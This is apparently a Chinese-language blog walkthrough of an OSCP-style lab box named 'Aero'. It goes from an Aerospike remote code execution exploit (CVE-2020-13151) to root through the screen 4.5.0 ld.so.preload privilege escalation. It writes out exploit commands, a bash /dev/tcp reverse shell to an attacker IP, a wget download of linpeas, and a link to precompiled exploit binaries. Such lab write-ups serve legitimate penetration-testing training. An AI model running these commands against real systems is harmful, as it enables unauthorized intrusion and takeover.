Challenge 4 - Aero
Challenge 4 - Aero
└─$ rustscan -a 192.168.205.143 --scripts none --ulimit 5000 | tee rustscan
當中較為特別的是 3000、3001、3003,依據這一篇文章
https://docs.aerospike.com/server/operations/plan/network 判定應為 Aerospike
開放的典型連接埠:
3000 -“服務”端口,處理客戶端請求和回應。
3001 -“fabric”端口,處理伺服器節點到節點的通訊。
3002 -“心跳”連接埠 -(可選)用於心跳 TCP 訊息。
3003 -“info”端口,這是一個可用於 Aerospike info 命令的 telnet 連接埠。
3004 - 'xdr' 端口,由舊版 xdr 守護程序用來與主 Aerospike 守護程序進行通訊。
持續枚舉後透過 gobuster 在這個網址
"http://192.168.205.143/api/heartbeat.php" 可以清楚看到 Aerospike 字眼
└─$ searchsploit Aerospike,結果只有一個 49067 ,那就直接試試看吧
直接先執行看看 └─$ python3 49067.py
錯誤訊息是 ModuleNotFoundError: No module named 'aerospike'
看看內容 https://www.exploit-db.com/exploits/49067
寫 # requires aerospike package from pip
那就安裝吧 └─$ sudo pip3 install aerospike
再跑一次看到範例為 49067.py --ahost 10.11.12.13 --pythonshell --lhost=10.0.0.1 --lport=8000
就改執行 49067.py --ahost 192.168.205.143 --pythonshell --lhost=192.168.45.232 --lport=4444
python3 49067.py --ahost 192.168.205.143 --pythonshell --lhost=192.168.45.232 --lport=443
python3 49067.py --ahost 192.168.205.143 --netcatshell --lhost=192.168.45.232 --lport=443
全部不行.......GG,都寫 instance is patched
改 Metasploit 試試看 └─$ sudo msfconsole -q; search aerospike; use 0
show options 改好如下,注意 LPORT 用 443
進去了,先拿第一個 flag 吧
看一下 tty 不是 tty,快速 tty 指令下下去 "script -c /bin/bash -q /dev/null",再 tty 一次發現是 tty 了
再建一個 Session,/bin/bash -l > /dev/tcp/192.168.45.178/3306 0<&1 2>&1 &
後來測試 GitHub 的 py 就成功了,https://github.com/b4ny4n/CVE-2020-13151/tree/master
要記得一併下載 poc.lua 檔案放在同一個路徑下
執行 └─$ python3 49067.py --ahost 192.168.205.143 --pythonshell --lhost=192.168.45.232 --lport=3000
reverse shell 進來了,一樣快速 tty 指令下下去 "script -c /bin/bash -q /dev/null"
接著是提權,標準 Linux 列舉,下載 linpeas.sh,wget http://192.168.45.183/linpeas.sh
chmod +x linpeas.sh 後執行 aero@oscp:/home/aero$ ./linpeas.sh -a | tee linpeas.txt
可以在登入目標機前先使用 script 3306.txt
接下來所有的輸出就會記錄在 kali 本機的 3306.txt 檔案裡
不需要另外將檔案傳輸回來,方便許多 (要停止就是關閉該 Terminal 或是 Ctrl+D)
注意這個 CVE :
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/exploits/41154
選他的原因主要是這幾個字 [ Local Privilege Escalation ]
網頁上提供的範例圖片有個重點,就是檔案要放到 /tmp 底下
依照 POC 做,但靶機上面沒有 gcc 所以無法直接編譯 .sh 當中的內容
在 kali 上編譯後去靶機上執行一樣無法成功,後來是找舊一點的機器編譯後執行才成功
簡單講就是編譯好後這兩個檔案 libhax.so & rootshell,然後在靶機上下載這兩個檔案
(PS : 編譯好的檔案下載路徑 https://drive.google.com/file/d/1EqEzfnv6XRYhw47XpJ1pFcyMypA5GR-m/view?usp=sharing)
一定要放到 /tmp 路徑底下,接著執行 POC 寫的如下
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
最後 id 看一下已經是 root 了
可以拿答案了
留言
張貼留言